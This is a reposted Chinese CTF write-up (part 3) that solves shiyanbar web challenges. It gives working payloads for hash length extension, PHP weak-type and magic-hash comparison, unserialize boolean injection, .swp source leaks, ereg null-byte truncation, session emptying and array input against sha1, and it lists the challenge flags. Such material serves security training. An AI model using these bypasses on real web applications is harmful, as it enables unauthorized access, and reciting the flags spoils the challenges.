2. 程式人生 > >1009.CTF 題目之 WEB Writeup 通關大全 – 3

1009.CTF 題目之 WEB Writeup 通關大全 – 3

阿新 • • 發佈：2019-02-18
系統 新的 靜態 ctype bool hint have uac direction

Web題目系列3

讓我進去

題目鏈接
http://shiyanbar.com/ctf/1848
技術分享圖片
題目描述

相信你一定能拿到想要的
Hint:你可能希望知道服務器端發生了什麽。。

格式：CTF{}

解題思路
用burpsuite抓包後，發現cookie裏有一個字段source=0，修改為1後獲取源碼。
技術分享圖片
源碼內容

<html>
<body>

<pre>
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
    if (urldecode($username) === "admin" && urldecode($password) != "admin") {
        if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
            echo "Congratulations! You are a registered user.\n";
            die ("The flag is ". $flag);
        }
        else {
            die ("Your cookies don‘t match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("You are not an admin! LEAVE.");
    }
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    if ($_COOKIE["source"] != 0) {
        echo ""; // This source code is outputted here
    }
}
    </pre>
<h1>Admins Only!</h1>
<p>If you have the correct credentials, log in below. If not, please LEAVE.</p>
<form method="POST">
    Username: <input type="text" name="username"> <br>
    Password: <input type="password" name="password"> <br>
    <button type="submit">Submit</button>
</form>

</body>
</html>

從源碼分析，可以看到flag的獲取要求是：傳進一個cookie getmein ,使其等於 secret+urldecode(username . password) MD5 加密後的結果且要求username為admin，password不能為admin。所以這裏利用了hash長度擴展攻擊，具體原理請參考文章0、文章1、文章2、文章3，推薦查看文章0和3。

這裏我給出一個最簡單的方式，使用工具hashpumpy進行hash值進行構造，給出代碼

#!/usr/bin/env python
#-*- coding: utf-8 -*-
"""
@Author : darkN0te
@Create date : 2018-07-10
@description : 哈希長度攻擊
@Update date :   
"""
 
  

import hashpumpy

# def hashpump(hexdigest, original_data, data_to_add, key_length)
aaa = hashpumpy.hashpump("571580b26c65f306376d4f64e53cb5c7","admin","darkN0te",20)
print aaa

技術分享圖片

拐彎抹角

題目鏈接
http://shiyanbar.com/ctf/1846
技術分享圖片

題目描述

如何欺騙服務器，才能拿到Flag？
格式：CTF{}

解題思路
訪問鏈接http://ctf5.shiyanbar.com/indirection/index.php/index.php

，就可以直接獲取到flag。
題目的意思就是通過改變地址欄訪問index.php，但是限制了條件不能使用./ ../ \\而且只能使用小寫字母，不可以在php後加點，這裏我們可以利用偽靜態技術，使用index.php後的index.php會被當做參數處理，所以服務器只會解析第一個index.php，滿足條件成功繞過。
技術分享圖片
Flag: CTF{PSEDUO_STATIC_DO_YOU_KNOW}

Forms

題目鏈接
http://shiyanbar.com/ctf/1819

題目描述

似乎有人覺得PIN碼是不可破解的，讓我們證明他是錯的。
格式：ctf{}

技術分享圖片
解題思路
進入題目後，點擊提交，使用bp拿到包後，發現有一個showsource字段，修改為1然後看到源碼，直接把-19827747736161128312837161661727773716166727272616149001823847填入pin提交拿到Flag。
技術分享圖片

<html>
<head>
<title>Forms</title>
</head>
<body>

<pre>
$a = $_POST["PIN"];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
    echo "Congratulations! The flag is $flag";
} else {
    echo "User with provided PIN not found."; 
}
    </pre>User with provided PIN not found.
<form action="" method="post">
    PIN:<br>
    <input type="password" name="PIN" value="">
    <input type="hidden" name="showsource" value=0>
    <button type="submit">Enter</button>
</form>
</body>
</html>

天網管理系統

題目鏈接
http://shiyanbar.com/ctf/1810
技術分享圖片
題目描述

天網你敢來挑戰嘛
格式：ctf{ }

解題思路
進入題目後，打開網頁源碼，網頁中有提示<!-- test=_GET[‘username‘]; test=md5(test); if($test==‘0‘) -->，很明顯可以看到是一個Hash比較問題，具體內容請查看文章 PHP Hash比較缺陷，這裏我們只需要找到以0e開頭的md5，這樣和0比較就是相等的。下面一個以0e開頭的md5列表

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

使用s878926199a提交後給出了新的提示。
技術分享圖片
打開鏈接看到內容

$unserialize_str = $_POST[‘password‘];
     $data_unserialize = unserialize($unserialize_str);
     if($data_unserialize[‘user‘] == ‘???‘ && $data_unserialize[‘pass‘]==‘???‘)
     {
       print_r($flag);
     }
偉大的科學家php方言道：成也布爾，敗也布爾。
回去吧騷年

這段語句首先對password字段進行了反序列化，然後讓裏面的user等於???，同時pass也等於???。
但是我們不知道兩處???到底是什麽，因此無法考慮用php函數構造這樣的值。別忘了還有一個提示： "偉大的科學家php方言道：成也布爾，敗也布爾" ，bool類型的true跟任意字符串可以弱類型相等。因此我們可以構造bool類型的序列化數據 ，無論比較的值是什麽，結果都為true。（a代表array，s代表string，b代表bool，而數字代表個數/長度）
構造password值為： a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
在密碼欄中提交構造的值，即可獲取flag: ctf{dwduwkhduw5465}
技術分享圖片

忘記密碼了

題目鏈接
http://shiyanbar.com/ctf/1808
技術分享圖片
題目描述

找回密碼
格式：SimCTF{ }

解題思路
此題目有點腦洞，首先在step1.php頁面提交郵箱，會給出step2.php頁面，然後訪問step2.php會馬上返回step1.php。所以抓包看一下step2.php的內容。

<br />
<meta http-equiv=refresh content=0.5;URL="./step1.php">check error!<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
    <meta name="renderer" content="webkit" />
    <meta name="admin" content="[email protected]" />
    <meta name="editor" content="Vim" />
    <title>logic</title>

    </style>
</head>
<body>
    <form action="submit.php" method="GET">
        <h1>找回密碼step2</h1>
        email:<input name="emailAddress" type="text" value="youmom"  disable="true"/></br>
        token:<input name="token" type="text" /></br>
        <input type="submit" value="提交">
    </form>
</body>
</html>

找到了step2.php會將內容提交到submit.php。訪問submit.php文件。給出提示
技術分享圖片
在step2.php的代碼中剛好能找到``，構造包訪問submit.php還是不可以。這裏就是個坑，需要訪問submit.php的緩存文件.submit.php.swp，這個文件是使用vim編輯時會留下的一個文件，訪問後得到submit.php源碼。
技術分享圖片

if(!empty($token)&amp;&amp;!empty($emailAddress)){
    if(strlen($token)!=10) die(‘fail‘);
    if($token!=‘0‘) die(‘fail‘);
    $sql = "SELECT count(*) as num from `user` where token=‘$token‘ AND email=‘$emailAddress‘";
    $r = mysql_query($sql) or die(‘db error‘);
    $r = mysql_fetch_assoc($r);
    $r = $r[‘num‘];
    if($r&gt;0){
        echo $flag;
    }else{
        echo "失敗了呀";
    }
}

這段源碼就給出了如何拿到flag，有兩個條件：
1. token，長度必須等於10。
2. token要和0相等，這裏又用到了php弱類型比較，只要用0000000000就可以繞過這兩條限制。

得到payload : http://ctf5.shiyanbar.com/10/upload/[email protected]&amp;token=0000000000 。
技術分享圖片
flag is SimCTF{huachuan_TdsWX}

Once More

題目鏈接
http://shiyanbar.com/ctf/1805
技術分享圖片
題目描述

啊拉？又是php審計。已經想吐了。
hint：ereg()函數有漏洞哩；從小老師就說要用科學的方法來算數。
格式：CTF{

解題思路
點擊題目頁面View the source code，看到源碼。

<?php
if (isset ($_GET[‘password‘])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET[‘password‘]) === FALSE)
    {
        echo ‘<p>You password must be alphanumeric</p>‘;
    }
    else if (strlen($_GET[‘password‘]) < 8 && $_GET[‘password‘] > 9999999)
    {
        if (strpos ($_GET[‘password‘], ‘*-*‘) !== FALSE)
        {
            die(‘Flag: ‘ . $flag);
        }
        else
        {
            echo(‘<p>*-* have not been found</p>‘);
        }
    }
    else
    {
        echo ‘<p>Invalid password</p>‘;
    }
}
?>

本題目一共有三個條件限制，看如何繞過。
1. ereg ("^[a-zA-Z0-9]+", _GET[‘password‘]) === FALSE

===類型恒等於
== 和 != 比較若類型不同，先償試轉換類型，再作值比較，最後返回值比較結果 。
而
=== 和 !== 只有在相同類型下,才會比較其值。
ereg()函數用指定的模式搜索一個字符串中指定的字符串,如果匹配成功返回true,否則,則返回false

這個判斷限制了輸入只能為只能輸入字符和數字，但是該函數存在00截斷漏洞。

  1. strlen($_GET[‘password‘]) 9999999，限制字符串長度小於8，值大於9999999。
  2. strpos ($_GET[‘password‘], ‘*-*‘) !== FALSE，限制輸入的值必須包含*-*。

所以給出paylload，1e8%00*-*，1e9%00*-*。
技術分享圖片
Flag: CTF{Ch3ck_anD_Ch3ck}

Guess Next Session

題目鏈接
http://shiyanbar.com/ctf/1788
技術分享圖片
題目描述

寫個算法沒準就算出來了，23333
hint：你確定你有認真看判斷條件？
格式：CTF{}

解題思路
點擊題目頁面View the source code，看到源碼。

<?php
session_start(); 
if (isset ($_GET[‘password‘])) {
    if ($_GET[‘password‘] == $_SESSION[‘password‘])
        die (‘Flag: ‘.$flag);
    else
        print ‘<p>Wrong guess.</p>‘;
}

mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

看一下按條件語句，需要session中的password值和用戶傳的一樣，就可以打印flag，所以只需要刪掉session值，或者修改session值為一個不存在的session，服務器獲取不到session，則password為空，用戶傳一個空的password的進去即可拿到flag。
技術分享圖片
Flag: CTF{Cl3ar_th3_S3ss1on}

FALSE

題目鏈接
http://shiyanbar.com/ctf/1787
技術分享圖片
題目描述

PHP代碼審計
hint：sha1函數你有認真了解過嗎？聽說也有人用md5碰撞o(╯□╰)o
格式：CTF{}

解題思路
點擊題目頁面View the source code，看到源碼。

<?php
if (isset($_GET[‘name‘]) and isset($_GET[‘password‘])) {
    if ($_GET[‘name‘] == $_GET[‘password‘])
        echo ‘<p>Your password can not be your name!</p>‘;
    else if (sha1($_GET[‘name‘]) === sha1($_GET[‘password‘]))
      die(‘Flag: ‘.$flag);
    else
        echo ‘<p>Invalid password.</p>‘;
}
else{
    echo ‘<p>Login first!</p>‘;
?>

本題目給出了兩個條件
1. 用戶名密碼不能相等
2. 用戶名密碼的sha1()要===

===只有在相同類型下,才會比較其值。sha1()函數默認的傳入參數類型是字符串型，可以傳入其他類型，使其返回值為false。如數組類型。
所以給出payload為，name[]=a&amp;password[]=b。
技術分享圖片
Flag: CTF{t3st_th3_Sha1}

1009.CTF 題目之 WEB Writeup 通關大全 – 3

相關推薦

1009.CTF 題目之 WEB Writeup 通關大全 – 3

系統 新的 靜態 ctype bool hint have uac direction Web題目系列3 讓我進去 題目鏈接 http://shiyanbar.com/ctf/1848 題目描述 相信你一定能拿到想要的 Hint:你可能希望知道服務器端發生了什麽。。

1008.CTF 題目之 WEB Writeup 通關大全 – 2

攻擊 union pass chrome eas php 是個 itl str Web題目系列2 登陸一下好嗎?? 題目鏈接 http://shiyanbar.com/ctf/1942 題目描述 不要懷疑,我已經過濾了一切,還再逼你註入,哈哈哈哈哈! flag格式：ct

1007.CTF 題目之 WEB Writeup 通關大全 – 1

今天 hex turn 偏移 live cte 通關 str pst 概述 解除CTF也有很多年了，但是真正的將網上的題目通關刷題還是沒有過的，同時感覺水平下降的太厲害，這兩個月準備把網上目前公開有的CTF環境全部刷一遍，同時收集題目做為素材，為後面的培訓及靶場搭建做好準備

1010.CTF 題目之 WEB Writeup 通關大全 – 4

NPU for access substr bec 存在 bre sso ica Web題目系列4 上傳繞過 題目鏈接 http://shiyanbar.com/ctf/1781 題目描述 bypass the upload 格式：flag{} 解題思路 隨意上傳文件

全面分析RHCE7（紅帽認證工程師）考試題目之 ----WEB 服務器 篇

from 基本概念 文件名 不同 forbidden log 配置dns protoc 標簽 HTTP服務基礎獨立Web服務 Web通信基本概念 基於B/S 服務端提供網頁 瀏覽器下載並顯示網頁 Hyper Text Markup Language (HTML)

CTF-練習平臺 Web writeup

簽到題web2檔案上傳測試經典的題目，用burp抓包得到如下 然後我們更改一下上傳路徑然後用%00截斷一下即可Content-Disposition: form-data; name="file"; filename="3.png%001.php"1計算題改一下瀏覽器中的te

實驗吧CTF題目之疑惑的漢字（1876）

對於這種題，唯一的方法就是積累；見得多了也就不覺得奇怪了； 題目給出了密文，分析密文發現這些漢字沒有什麼特殊的含義；那就從他的結構來分析；你會發現他們特別符合當鋪密碼的結構； 什麼是當鋪密碼？當鋪密

實驗吧CTF題目之抓到你了（代號：1813）

開啟解題連結，他需要你下載一個檔案，下載完成後你會發現是一個pcap為字尾的檔案，果斷用wireshark開啟進行資料分析； 題目中有給的提示：入侵者是通過ping工具進行掃描的。而ping命令使用的是ICMP協議，所以在過濾器中填寫icmp; 有5個數據包，分別檢視他

CTF-練習平臺 Web writeup By Assassin [暫時完結]

簽到題 web2 檔案上傳測試 經典的題目，用burp抓包得到如下 然後我們更改一下上傳路徑然後用%00截斷一下即可 Content-Disposition: form-data; name="file"; filena

CTF 兩道web整數溢位題目(貓咪銀行和ltshop)

①貓咪銀行: (2018中科大hackgame) 一開始給十個CTB，而flag需要20個CTB，我們需要理財賺夠20個。 理財是隻能買入TDSU才可以獲得收益。我們先上來直接把CTB全部換成TDSU。 上邊是我們花了所有TDSU:66060買了19分鐘後的收益

CTF 兩道web整數溢出題目(貓咪銀行和ltshop)

code 過去 而是 也不能 競爭 ack 腳本 十個 一分鐘 ①貓咪銀行: (2018中科大hackgame) 一開始給十個CTB，而flag需要20個CTB，我們需要理財賺夠20個。 理財是只能買入TDSU才可以獲得收益。我們先上來直接把CTB全部換成TDS

CTF之web這道題很簡單

1、輸入【’】報錯，發現注入 2、輸入【and 1=1】正常，輸入【and 1=2】不正常，證明就是SQL注入 3、sqlmap進行SQL注入，這個可以通過linux虛擬機器進行操作，也可以直接在windows作業系統中安裝sqlmap進行操作，這個在我

web緩存策略之HTTP緩存大全

樂觀鎖 log com 請求報文 相對 文件 客戶端 最新 擁有 一. web緩存總分類 數據庫數據緩存 Web應用，特別是SNS類型的應用，往往關系比較復雜，數據庫表繁多，如果頻繁進行數據庫查詢，很容易導致數據庫不堪重荷。為了提供查詢的性能，會將查詢後的數據放

Python3 之 Web 框架：web框架的本質

但是 hub ima sgi 控制器 borde http ace esp 各位，學Python 的同誌，相信對 Django 、Flask、等不會陌生，這些就是Python語言的web 框架。 那麽問題來了，web 服務器又是什麽，他和web框架有什麽關系？他們又是如何工

NJCTF2017 Web Writeup

獲取 ack 轉換運算符 管理員 wid sel username 強制 -i 一個登陸和註冊的功能，開始以為是註入，發現並不行。後來嘗試了下弱口令 1 2 username:admin password:admin123 結果登錄成

Python之Web框架介紹

楊文 python gateway 應用程序 服務器 第三方 所有的語言Web框架本質其實就是起一個socket服務端,監聽一個端口,然後運行起來Web框架包含兩部分,一部分是socket,另外一部分是業務的邏輯處理,根據請求的不同做不同的處理Python的Web框架分成了兩類,即包含

XML應用之Web Service

便宜 1.0 html use ble time edr each bold 1.什麽是web service？ Service：服務，在電腦安裝一個軟件（程序），可以為我們提供某些功能，就可以稱之為服務。本地服務比較多。 Web：和本地相對應，在互聯網上的。 Web Se

[Nuget] - "Runtime error: Could not load file or assembly 'System.Web.WebPages.Razor, Version=3.0.0.0'" 問題之解決

未能加載文件 nuget man 5.0 install ges 成功 could not .com 環境 項目中使用了 System.Web.WebPages.Razor, Version=3.0.0.0，Nuget 還原缺失包後自動更新至 Version=3.2.5.0

yii2.x之web配置

日誌配置 yii2.x url美化 我這裏是以basic版為基礎講解的。但高級版應該也是一樣的。基本版配置文件config/web.php。yii默認的控制器是site，這裏要改成我們習慣的index，只需要在$config這個數組裏面加上<?php $config=[ ....

IDEA 學習筆記之 Web項目開發

模塊 web項目 local com str erl bsp cal oca Web項目開發： 添加新模塊： 起名： 添加jars： 添加Tomcat/local： 添加項目： 啟動Tomcat： 看到web頁面： 修改頁面： 重新部署頁面